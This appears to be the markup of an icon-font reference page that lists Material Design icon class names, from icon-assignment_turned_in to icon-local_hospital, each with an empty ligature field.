+ liga: + +
+
+
+
+ + + + icon-assignment_turned_in +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-assistant +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flag2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-attach_file +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-attach_money +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-attachment +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-audiotrack +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-autorenew +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-av_timer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-backspace +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud_upload +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery_alert +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery_charging_full +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery_std +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-battery_unknown +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-beach_access +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-beenhere +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-block +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bluetooth2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bluetooth_searching +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bluetooth_connected +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bluetooth_disabled +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-blur_circular +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-blur_linear +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-blur_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-blur_on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-class +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-turned_in +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-turned_in_not +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_bottom +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_clear +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_color +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_horizontal +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_inner +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_outer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_style +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_top +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-border_vertical +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-branding_watermark +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_4 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_low +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_medium +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_high +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brightness_auto +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-broken_image +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-brush +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bubble_chart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-bug_report +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-build +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-burst_mode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-domain +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-business_center +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cached +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cake +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phone2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_end +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_made +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-merge_type +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_missed +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_missed_outgoing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_received +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_split +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-call_to_action +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_camera +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera_enhance +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera_front +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera_rear +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-camera_roll +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cancel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-redeem +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-card_membership +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-card_travel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-casino +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cast +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cast_connected +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-center_focus_strong +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-center_focus_weak +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-change_history +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chat_bubble +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chat_bubble_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check_box +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check_box_outline_blank +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-check_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-navigate_before +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-navigate_next +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-child_care +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-child_friendly +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-chrome_reader_mode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-close2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-clear_all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-closed_caption +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-wb_cloudy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud_done +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud_download +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-cloud_queue +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-code2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo_library +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-collections_bookmark +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-palette +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-colorize +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-comment2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-compare +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-compare_arrows +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-laptop2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-confirmation_number +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-contact_mail +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-contact_phone +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-contacts +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-content_copy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-content_cut +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-content_paste +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-control_point_duplicate +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-copyright2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-mode_edit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-create_new_folder +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-payment +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_16_9 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_3_2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_landscape +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_7_5 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_din +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_free +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_original +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_portrait +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_rotate +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-crop_square +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dashboard2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-data_usage +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-date_range +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dehaze +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-delete +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-delete_forever +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-delete_sweep +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-description +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-desktop_mac +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-desktop_windows +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-details +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-developer_board +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-developer_mode +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-device_hub +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-phonelink +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-devices_other +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dialer_sip +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dialpad +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_bike +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_boat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_bus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_car +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_railway +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_run +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_transit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-directions_walk +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-disc_full +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dns +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-not_interested +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-do_not_disturb_alt +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-do_not_disturb_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-remove_circle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-done +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-done_all +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-donut_large +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-donut_small +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-drafts +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-drag_handle +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-time_to_leave +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-dvr +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-edit_location +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-eject2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-markunread +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-enhanced_encryption +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-equalizer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-error +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-error_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-euro_symbol +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-ev_station +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-insert_invitation +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-event_available +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-event_busy +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-event_note +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-event_seat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exit_to_app +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-expand_less +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-expand_more +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-explicit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-explore +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exposure +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exposure_neg_1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exposure_neg_2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exposure_plus_1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exposure_plus_2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-exposure_zero +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-extension +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-face +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fast_forward +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fast_rewind +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-favorite +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-favorite_border +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-featured_play_list +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-featured_video +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-sms_failed +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fiber_dvr +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fiber_manual_record +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fiber_new +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fiber_pin +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fiber_smart_record +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-get_app +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-file_upload +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_1 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_3 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_4 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_5 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_6 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_7 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_8 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_9 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_9_plus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_b_and_w +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_center_focus +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_drama +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_frames +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-terrain +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_list +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_none +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_tilt_shift +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-filter_vintage +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-find_in_page +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-find_replace +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fingerprint +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-first_page +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fitness_center +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flare +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flash_auto +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flash_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flash_on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flight_land +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flight_takeoff +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flip +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flip_to_back +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-flip_to_front +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder_open +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder_shared +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-folder_special +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-font_download +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_align_center +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_align_justify +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_align_left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_align_right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_bold +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_clear +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_color_fill +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_color_reset +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_color_text +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_indent_decrease +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_indent_increase +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_italic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_line_spacing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_list_bulleted +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_list_numbered +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_paint +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_quote +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_shapes +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_size +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_strikethrough +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_textdirection_l_to_r +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_textdirection_r_to_l +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-format_underlined +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-question_answer +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-forward2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-forward_10 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-forward_30 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-forward_5 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-free_breakfast +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fullscreen +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-fullscreen_exit +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-functions +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-g_translate +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-games +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gavel2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gesture +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gif +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-goat +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-golf_course +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-my_location +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-location_searching +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-location_disabled +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-star2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-gradient +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-grain +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-graphic_eq +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-grid_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-grid_on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-people +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-group_add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-group_work +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hd +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hdr_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hdr_on +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hdr_strong +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hdr_weak +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-headset +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-headset_mic +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-healing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hearing +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-help +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-help_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-high_quality +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-highlight +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-highlight_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-restore +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-home2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hot_tub +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_hotel +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass_empty +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-hourglass_full +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-http +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lock2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-photo2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-image_aspect_ratio +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-import_contacts +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-import_export +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-important_devices +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-inbox2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-indeterminate_check_box +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-info2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-info_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-input +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-insert_comment +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-insert_drive_file +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-tag_faces +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-link2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-invert_colors +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-invert_colors_off +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-iso +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_arrow_down +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_arrow_left +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_arrow_right +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_arrow_up +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_backspace +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_capslock +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_hide +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_return +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_tab +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-keyboard_voice +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-kitchen +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-label +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-label_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-language2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-laptop_chromebook +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-laptop_mac +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-laptop_windows +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-last_page +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-open_in_new +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-layers +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-layers_clear +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-leak_add +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-leak_remove +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lens +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-library_books +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-library_music +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-lightbulb_outline +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-line_style +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-line_weight +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-linear_scale +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-linked_camera +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-list2 +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-live_help +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-live_tv +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_play +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_airport +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_atm +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_bar +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_cafe +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_car_wash +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_convenience_store +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-restaurant_menu +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_drink +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_florist +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_gas_station +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-shopping_cart +
+
+ + +
+
+ liga: + +
+
+
+
+ + + + icon-local_hospital +
+
